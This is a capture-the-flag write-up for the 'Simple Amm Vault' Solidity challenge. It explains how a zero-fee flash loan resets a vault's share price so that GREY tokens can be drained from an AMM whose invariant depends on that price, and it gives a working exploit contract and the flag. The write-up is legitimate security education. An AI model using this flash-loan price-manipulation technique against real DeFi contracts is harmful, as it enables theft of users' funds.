跳转至
2024 | Grey Cat The Flag | Blockchain

Simple Amm Vault

Description

ERC-4626 was too complex, so I made an AMM to swap between shares and assets.

nc challs.nusgreyhats.org 30301

Challenge Files

Solution

  • Initially, there are 1000 GREY deposited in the vault, 1000 GREY sent to the vault as rewards, and 2000 GREY in the pool. The player starts with 1000 GREY and need to have at least 3000 GREY to solve the challenge
  • Users can receive distributed rewards by unstaking GREY. Since the pool offers zero-fee flash loans on GREY and SV tokens, we can borrow SV and withdraw all the GREY from the vault. The totalAssets and totalSupply will then return to zero, causing the share price to drop, then we can deposit 1000 GREY and repay the flash loan

    function deposit(uint256 assets) external returns (uint256 shares) {
        shares = toSharesDown(assets);
        require(shares != 0, "zero shares");
    
        totalAssets += assets;
        _mint(msg.sender, shares);
    
        GREY.transferFrom(msg.sender, address(this), assets);
    }
    
    function toSharesDown(uint256 assets) internal view returns (uint256) {
        if (totalAssets == 0 || totalSupply == 0) {
            return assets;
        }
        return assets.mulDivDown(totalSupply, totalAssets);
    }
    
  • After the flash loan, the share price dropped from 2e18 to 1e18

    1
    2
    3
    function sharePrice() external view returns (uint256) {
        return totalSupply == 0 ? 1e18 : totalAssets.divWadDown(totalSupply);
    }
    
  • The pool calculates K based on the share price and the amount of tokens reserved. The initial K is 2000e18 (1000e18 + 2000e18 * 1e18 / 2e18)

    1
    2
    3
    4
    function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) {
        uint256 price = VAULT.sharePrice();
        return amountX + amountY.divWadDown(price);
    }
    
  • Thus, 1000 GREY can be taken out from the pool without SV after the share price drops (1000e18 + 1000e18 * 1e18 / 1e18 >= 2000e18). Enough GREY is now obtained

    modifier invariant {
        _;
        require(computeK(reserveX, reserveY) >= k, "K");
    }
    
    function swap(bool swapXForY, uint256 amountIn, uint256 amountOut) external invariant {
        IERC20 tokenIn;
        IERC20 tokenOut;
    
        if (swapXForY) {
            reserveX += amountIn;
            reserveY -= amountOut;
    
            (tokenIn, tokenOut) = (tokenX, tokenY);
        } else {
            reserveX -= amountOut;
            reserveY += amountIn;
    
            (tokenIn, tokenOut) = (tokenY, tokenX);
        }
    
        tokenIn.transferFrom(msg.sender, address(this), amountIn);
        tokenOut.transfer(msg.sender, amountOut);
    }
    

Exploitation

contract Exploiter {
    SimpleVault public vault;
    SimpleAMM public amm;
    GREY public grey;

    constructor(Setup setup) {
        vault = setup.vault();
        amm = setup.amm();
        grey = setup.grey();
        grey.approve(address(vault), type(uint256).max);

        setup.claim();
    }

    function exploit() public {
        amm.flashLoan(true, 1000 ether, "");
        amm.swap(true, 0, 1000 ether);
        grey.transfer(msg.sender, grey.balanceOf(address(this)));
    }

    function onFlashLoan(uint256, bytes calldata) external {
        require(msg.sender == address(amm));
        vault.withdraw(1000 ether);
        vault.deposit(1000 ether);
        vault.approve(address(amm), 1000 ether);
    }
}

Flag

grey{vault_reset_attack_a3e7a42b511cf0a8}


最后更新: 2024年5月1日 18:47:27
Contributors: YanhuiJessica

评论